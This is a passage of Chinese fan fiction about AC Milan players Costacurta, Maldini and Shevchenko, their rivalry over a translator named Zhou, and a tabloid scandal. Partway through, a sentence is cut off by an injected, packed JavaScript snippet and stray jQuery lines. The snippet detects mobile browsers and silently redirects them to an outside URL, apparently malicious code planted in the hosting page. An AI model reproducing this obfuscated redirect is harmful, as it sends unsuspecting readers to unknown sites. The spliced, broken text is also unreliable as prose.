“我今晚和队长在一起。”
听到这句话，科斯塔库塔的占有欲突然前所未有地膨胀起来。
他没有去看旁边保罗的脸色，只是突然将菜单翻得哗哗响，然后故意大声征求女孩儿的意见：“亲爱的你主食吃什么？Gnocchi怎么样？还是意面？千层面？海鲜烩饭？”
女孩儿奇怪地看了眼突然大声说话的男人，正要开口，旁边马尔蒂尼先看不下去了。他重重地咳了一声警告自家竹马，然后装出一副仿佛什么都不知道的样子，同样加大了音量问：“怎么了舟，电话那边是谁？”
两个人的异常表现显然把女孩儿搞糊涂了，她领会不到两人这一番操作背后的含义，只耿直道：“舍瓦啊，你不是知道吗队长？”
“……”
马尔蒂尼捂脸：果然不该期待舟的情商随时在线的。
科斯塔库塔突然又不气了。
他悠然饮了口热红酒，想了想，从女孩儿手里拿过了她的手机：“嘿舍瓦，有什么事吗？要是不急不如明天再说吧——你约舟出去的时候我可没故意打扰过你们吧？”
舍甫琴科当然不肯承认自己是故意打扰他们的，而且：“但我好像听到了队长的声音？你们应该没在约会吧？”
停顿一下后，舍甫琴科突然语出惊人：“介意加我一个吗？”
“……？”加你个大头鬼啊！！！
立刻把通话挂断，然后，面对着女孩儿疑惑中略带不满的目光，科斯塔库塔镇定道：“舍瓦估计是喝醉了。”
其实听到了刚刚舍甫琴科那句惊人发言的马尔蒂尼：现在的小年轻……
舍甫琴科没再拨回来，估计冷静后自己也被刚刚的那句话尴尬到了。三人因此度过了一个还算愉快的夜晚——嗯，没有其他涵义的那种。
可惜一切的平静都只是假象。
次日，回到内洛的球员们完成了当天的恢复性训练，正准备转战战术课时，一通电话打来，紧急叫走了马尔蒂尼；而在半个小时后，科斯塔库塔也默默消失在了多媒体教室。
《情迷女翻译，米兰领袖婚姻亮红灯！》
会议室的桌面上铺开一张报纸，横跨两个版面的巨幅照片上印着这样一行耸人听闻的标题，而照片里正是昨晚马尔蒂尼与舟站在树下交谈的画面。
其中马尔蒂尼的脸被拍摄得无比清晰，舟则只被拍摄到了一部分侧颜，但她修长的身影在男人强壮身体的衬托下愈发显得曼妙多姿，格外的抓人眼球，令人不自觉便生出暧昧的遐想，对报纸上的鬼话深信不疑。
科斯塔库塔简直要被气疯了：什么意思？他和女孩儿约会的时候那些小报记者像死了一样，保罗和女孩儿就面对面说个话，他们倒是揭棺而起上演大复活术了是吧？
“这**的完全是造谣！我昨天约舟出去玩儿，半路碰到了保罗而已！”科斯塔库塔把报纸翻得哗哗响。
今天这份小报的所有版面都在报道这件事，除了头版
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372563|168180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的照片外，其他版面还附上了他们一起散步、一起进餐厅、以及最重磅的一起进酒店的照片——当然，全是把科斯塔库塔截掉处理过的。
越看越觉得荒谬，科斯塔库塔最后干脆被气笑了：所以这是觉得他的新闻价值没有保罗高，所以把他的女伴造谣给保罗炒新闻了？——日他先人的他绝对要告他们！
见科斯塔库塔情绪激动，公关部的两个同事对视一眼，小心翼翼地向自家靠谱的队长望去：队长你拿个主意呗？
马尔蒂尼正在和加利亚尼小声解释这件事的来龙去脉。
其实这事不大，以俱乐部在舆论阵地的能量，发声明澄清一下事实，再附上证人（比如昨晚那三家餐厅的工作人员）发言也就可以了；何况比利最近频频约舟外出，遇到过他们的罗森内里一抓一大把，请来两位资深的采访一下，辟谣效果立竿见影。
现在的问题在于，科斯塔库塔对舟还处在追求阶段，又有舍甫琴科这个竞争者搅局，加利亚尼有些担心外界的关注会引爆三人之间微妙的气氛，惹得队内失和，那可就糟糕透顶了。
偏偏对于这件事，就算是完美的马尔蒂尼也只能表达自己的爱莫能助之意：“换成是你，会听任何人的劝告放弃追求舟吗？”
加利亚尼思考了一会儿：“那看来只能求主保佑他们打架的时候别被媒体拍到了——真到了那时，保罗，记得建议他们换个僻静的地方再决斗。”
小老头儿还挺幽默。众人想。